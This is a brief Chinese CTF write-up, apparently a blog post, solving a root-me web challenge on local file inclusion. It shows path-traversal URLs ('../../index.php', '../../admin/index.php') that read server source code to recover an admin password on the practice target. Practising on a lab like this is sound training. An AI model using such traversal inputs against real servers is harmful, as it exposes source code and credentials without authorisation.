【root-me CTF练习】Web服务器安全-本地文件包含

靶机地址

http://challenge01.root-me.org/web-serveur/ch16/

解题思路

通过点击网站上的不同板块,可以看到可根据不同目录读取相应的文件内容,如以下链接读取sysadm目录里的index.html文件内容。
http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=index.html
在这里插入图片描述

那么是否存在文件遍历问题呢?
尝试构造文件遍历发现可以读取:
http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=../../index.php
在这里插入图片描述

那么,下一步就好办了,读取admin目录的index.php源码查看,即可发现密码:
http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=../../admin/index.php
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/a15803617402/article/details/84727067
me